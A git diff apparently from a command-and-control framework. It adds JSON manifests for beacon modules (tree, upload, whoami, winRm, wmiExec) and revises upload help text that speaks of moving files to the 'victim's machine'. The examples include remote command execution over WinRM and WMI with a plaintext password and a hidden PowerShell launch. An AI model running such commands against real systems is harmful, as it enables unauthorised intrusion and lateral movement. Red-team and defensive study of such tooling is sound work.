a/modules/Tree/tree.json b/modules/Tree/tree.json new file mode 100644 index 0000000..b5d6009 --- /dev/null +++ b/modules/Tree/tree.json @@ -0,0 +1,26 @@ +{ + "name": "tree", + "display_name": "tree", + "kind": "module", + "description": "Recursively list a remote directory structure.", + "command_template": "tree {path:q?}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "path", + "type": "path", + "required": false, + "description": "Remote directory path. Defaults to the beacon current working directory.", + "variadic": true + } + ], + "examples": [ + "tree", + "tree /tmp", + "tree C:\\Users\\Public" + ], + "source": "manifest" +} diff --git a/modules/Upload/Upload.cpp b/modules/Upload/Upload.cpp index ff8232f..5e234df 100644 --- a/modules/Upload/Upload.cpp +++ b/modules/Upload/Upload.cpp @@ -48,11 +48,11 @@ std::string Upload::getInfo() #ifdef BUILD_TEAMSERVER info += "Upload Module:\n"; info += "Transfer a file from the attacker's machine to the victim's machine.\n"; - info += "The file is read from the local system and written to the specified path on the remote target.\n"; + info += "The TeamServer resolves an operator upload artifact and sends its content to the remote target.\n"; info += "\nUsage example:\n"; - info += " - upload /tmp/toto.exe C:\\Temp\\toto.exe\n"; + info += " - upload toto.exe C:\\Temp\\toto.exe\n"; info += "\nArguments:\n"; - info += " Path to the file on the attacker's machine\n"; + info += " Uploaded artifact name or id on the TeamServer\n"; info += " Destination path on the victim's machine\n"; #endif return info; @@ -131,4 +131,4 @@ int Upload::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) } #endif return 0; -} \ No newline at end of file +} diff --git a/modules/Upload/upload.json b/modules/Upload/upload.json new file mode 100644 index 0000000..782455b --- /dev/null +++ b/modules/Upload/upload.json @@ -0,0 +1,37 @@ +{ + "name": "upload", + "display_name": "upload", + "kind": "module", + "description": "Upload an operator-managed artifact from the TeamServer to the beacon.", + "command_template": "upload {upload_artifact:q} {remote_path:q}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "upload_artifact", + "type": "artifact", + "required": true, + "description": "Artifact from UploadedArtifacts compatible with the current session.", + "artifact_filter": { + "category": "upload", + "scope": "operator", + "target": "beacon", + "platform": "session.platform", + "arch": "session.arch" + } + }, + { + "name": "remote_path", + "type": "path", + "required": true, + "description": "Destination path on the beacon." + } + ], + "examples": [ + "upload tool.exe C:\\Temp\\tool.exe", + "upload tool /tmp/tool" + ], + "source": "manifest" +} diff --git a/modules/Whoami/whoami.json b/modules/Whoami/whoami.json new file mode 100644 index 0000000..1a9af34 --- /dev/null +++ b/modules/Whoami/whoami.json @@ -0,0 +1,14 @@ +{ + "name": "whoami", + "display_name": "whoami", + "kind": "module", + "description": "Print current user and group information from the beacon.", + "command_template": "whoami", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [], + "examples": ["whoami"], + "source": "manifest" +} diff --git a/modules/WinRM/winRm.json b/modules/WinRM/winRm.json new file mode 100644 index 0000000..7745c3f --- /dev/null +++ b/modules/WinRM/winRm.json @@ -0,0 +1,51 @@ +{ + "name": "winRm", + "display_name": "winRm", + "kind": "module", + "description": "Execute a command remotely over WinRM.", + "command_template": "winRm {auth_mode} {username:q?} {password:q?} {target:q} {command:raw?}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "auth_mode", + "type": "enum", + "required": true, + "description": "Authentication mode.", + "values": ["-u", "-k", "-n"] + }, + { + "name": "username", + "type": "text", + "required": false, + "description": "DOMAIN\\Username for -u mode." + }, + { + "name": "password", + "type": "text", + "required": false, + "description": "Password for -u mode." + }, + { + "name": "target", + "type": "text", + "required": true, + "description": "WinRM endpoint or target." + }, + { + "name": "command", + "type": "text", + "required": false, + "description": "Remote command tail.", + "variadic": true + } + ], + "examples": [ + "winRm -u DOMAIN\\Username Password123! https://target:5986/wsman whoami.exe /all", + "winRm -k http://target.example.com:5985/wsman whoami.exe", + "winRm -n http://target:5985/wsman dir c:\\" + ], + "source": "manifest" +} diff --git a/modules/WmiExec/wmiExec.json b/modules/WmiExec/wmiExec.json new file mode 100644 index 0000000..fda5c97 --- /dev/null +++ b/modules/WmiExec/wmiExec.json @@ -0,0 +1,57 @@ +{ + "name": "wmiExec", + "display_name": "wmiExec", + "kind": "module", + "description": "Execute a command through WMI.", + "command_template": "wmiExec {auth_mode} {username:q?} {password:q?} {dc:q?} {target:q} {command:raw}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "auth_mode", + "type": "enum", + "required": true, + "description": "Authentication mode.", + "values": ["-u", "-k", "-n"] + }, + { + "name": "username", + "type": "text", + "required": false, + "description": "DOMAIN\\Username for -u mode." + }, + { + "name": "password", + "type": "text", + "required": false, + "description": "Password for -u mode." + }, + { + "name": "dc", + "type": "text", + "required": false, + "description": "Domain controller or DOMAIN\\dc value for -k mode." + }, + { + "name": "target", + "type": "text", + "required": true, + "description": "Target host name or IP." + }, + { + "name": "command", + "type": "text", + "required": true, + "description": "Remote command tail.", + "variadic": true + } + ], + "examples": [ + "wmiExec -u DOMAIN\\Username Password123! target powershell.exe -nop -w hidden", + "wmiExec -k DOMAIN\\dc target whoami.exe /all", + "wmiExec -n localhost whoami.exe" + ], + "source": "manifest" +}